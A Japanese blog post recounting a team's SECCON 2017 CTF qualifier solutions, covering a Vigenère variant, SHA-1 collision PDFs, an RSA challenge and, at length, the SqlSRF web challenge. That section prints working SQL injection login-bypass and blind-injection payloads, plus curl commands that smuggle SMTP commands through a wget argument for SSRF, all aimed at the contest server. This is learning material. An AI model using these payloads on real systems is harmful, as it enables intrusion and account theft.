SECCON2017 Online予選に参加した
参加した
会社の有志で集まってmerpoliceというチーム名で参加しました。 最終結果は1500pt, 総合125位でした。
WriteUp
自分が解けたものだけwrite upを書いておこうと思います
Vigenere3d Crypt 100pt
Vigenere
ってなんやねんっておもってggったらそういう暗号方式があるらしい。
平文と鍵となる文字列で暗号化する手法。
今回は3d
とついてる通り、鍵が2つ使われていたので暗号変換時に3つの座標がいるようになってた。
SECCON{
までは平文が分かってる状態、かつ鍵の長さが14文字だったのでSECCON{
-> POR4dny
になるような14文字の鍵を総当りで求めた。
すると'AAAAAAA_aZ2PK_'
を鍵にすればSECCON{
-> POR4dny
になることがわかったのであとは逆の処理をするプログラムを書くだけ。
プログラム貼ろうと思ったけど他のWriteupのほうがスマートなので気になる方はそちらのご参照を。
FlagはSECCON{Welc0me_to_SECCON_CTF_2017}
SHA-1 is dead Crypt 100pt
トレンド問題。問題名から今年Googleが発表したSHA-1衝突の話を思い出す。
下記ページからSHA-1衝突する異なるPDFを落としてきて、ファイルサイズが2017KB以上2018KB以下になるよう適当に文字列をファイルに突っ込んで終わり。
この脆弱性については下記記事が詳しく、これを参考に末尾らへんに文字列の追加をした。
巷で話題のGoogleのSHA-1衝突やってみた | 73spica's Blog
FlagはSECCON{SHA-1_1995-2017?}
SqlSRF Web 400pt
これ超楽しかった。最後のひと押しはチームメイトに解いてもらった。
ページを開くとログインページとそのソースコードが得られる。
https://gist.github.com/sota1235/83b8000acef4aa288dbcacd02842be38
ソースコードを眺めるとSQLiteに投げるSQLを文字列で組み立ててることがわかるので以下のusernameをぶん投げる。
'OR 1=1 union select null--
するとDatabase Error
でなくLogin Error
になったのでクエリが通ってることが分かる。
あとはログイン画面を突破できるといいのだがコードをよく読むと以下の3つの条件が成り立たないとログイン画面を突破できない。
この暗号化の処理が外部ファイルに実装されてるらしく、わからなかった。
どうにか暗号化のロジックを盗めないかコードを眺めると以下の部分で同じ暗号化処理をしてることに気づく。
print $q->header(-charset=>'UTF-8', -cookie=> [ $q->cookie(-name=>'CGISESSID', -value=>$s->id), ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef) ]), $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black'); $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');
解説するとsave=1
をPOSTパラメータ付与するとuser
パラメータの値を暗号化し、Cookieにremember
のvalueとしてセットしてる。
なので以下のcurlコマンドで好きな文字列を暗号化させることができる。
curl -X POST -d "user=password&pass=password&login=Login&save=1" -D - http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi
このレスポンスから'password'
文字列を暗号化した文字を盗んだ。値は760de578d5d608fb420085b7697479ee
その上で以下のログイン情報で認証突破。
- Username:
' AND 1=2 union select '760de578d5d608fb420085b7697479ee'--
- Password:
password
SQLインジェクションで前半のクエリの結果を強制的に空にし、UNIONで'password'
文字列を暗号化した値をくっつけている。
ログイン認証を突破するとnetstat
コマンドを叩くボタンとwget
ボタンを叩くボタンがあるページにアクセスできる。
ただしwget
ボタンはadmin
ユーザとしてログインしないといけない。
ログイン後の画面で何をもってしてadmin
ユーザとして認証してるのか考えるとおそらく以下の行。
https://gist.github.com/sota1235/83b8000acef4aa288dbcacd02842be38#file-index-perl-L29
ここにadmin
文字列をインジェクションできないか考えるが文字列変換もしてないしセッション自体作り直されてしまっているので手が出せず少し詰まった。
が、ログインページのSQLインジェクションをうまく使えばadminのパスワードが抜けそうなことに気づく。
手法としてはBlind SQL Injectionにあたるもので、ログインが成功か失敗かをtrue or falseとして、データを推定する。
うまく説明できる気がしないのでコードを貼っつける。
パスワード文字列として使われてそうなものをあらかじめあげて、admin
ユーザのpassword
カラムを1文字ずつ比較するSQLを投げる。
これでログインが成功すればその文字列がpasswordのN文字目である、ということがわかる。
パスワードの文字数は以下のコマンドで32文字であることを断定して、32回ループを回した。
curl -X POST -d "user=' UNION SELECT '760de578d5d608fb420085b7697479ee'/ WHERE length('hoge')=32--&pass=password&login=Login" -D - http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi
ということでadmin
のパスワードがYes!Kusomon!!
であることをつきとめ、admin
としてログイン。
この問題で求められていたことはrootアカウントに指定されたタイトルでメールを送るとFlagが送られてくることだったが、netstat
ボタンで見るとサーバで立ち上がってるメールサーバはlocalhost:25
のSMTPサーバのみ。
wgetコマンドでlocalhost:25
を取るとSMTPサーバのエラーが返ってくる。
ここで私は詰んでたのだがチームメンバーに突破してもらった。ありがとうございますshmorimoさんmm
発想としては空白をURLエンコードし、SMTPのメッセージをくっつけてwgetすることでSMTPを喋ることができる。
前段のHTTPメッセージはSMTPサーバは無視する。
curl -X POST -H 'Cookie:CGISESSID=6d92e08a398de805982dabd7fc248a5f; remember=58474452dda5c2bdc1f6869ace2ae9e3' http://sqlsrf.pwn.seccon.jp/sqlsrf/menu.cgi'?' --form "cmd=wget --debug -O /dev/stdout 'http://" --form "args=127.0.0.1%0aHELO%20ymkz01%2epwn%0aMAIL%20FROM%3a%20sample%40gmail%2ecom%0aRCPT%20TO%3a%20root%0aDATA%0aFrom%3a%20shmorimo%40gmail%2ecom%0aTo%3a%20root%0aSubject%3a%20give%20me%20flag%0a%0a%2e%0aQUIT%0a:25" 2>&1 | less
これにより暗号化されたFlag文字列が変えるので先程のremember
トークンで逆の処理をしてFlagを取る。
暗号化された文字列は
37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19
FlagはSECCON{SSRFisMyFriend!}
Ps and Qs Crypto 200pt
暗号化されたファイルと公開鍵ファイルが2つ渡される。
おそらく暗号化されたファイルのdecodeが目的。
ヒントは無いかなとおもってPs and Qs
をggると英語で「余計な事を喋るとダメだよね」という意味らしい。
もしかしてと思って公開鍵から復号する攻撃手法を調べてるとCommon Private Exponent Attack
に行き着いた。
後は適当なツールを探してGanapati/RsaCtfToolなるものを見つけたので以下の手順でフラグゲット。
python2 RsaCtfTool.py --publickey "../*.pub" --uncipher ../cipher
FlagはSECCON{1234567890ABCDEF}
まとめ
片手間参加で3人で取り組んだ割には健闘できた気がする。
し、前回参加(3年前くらい)した時よりかなり解けるようになってたのでよかった。
来年はもう少し本腰入れて参加したいなー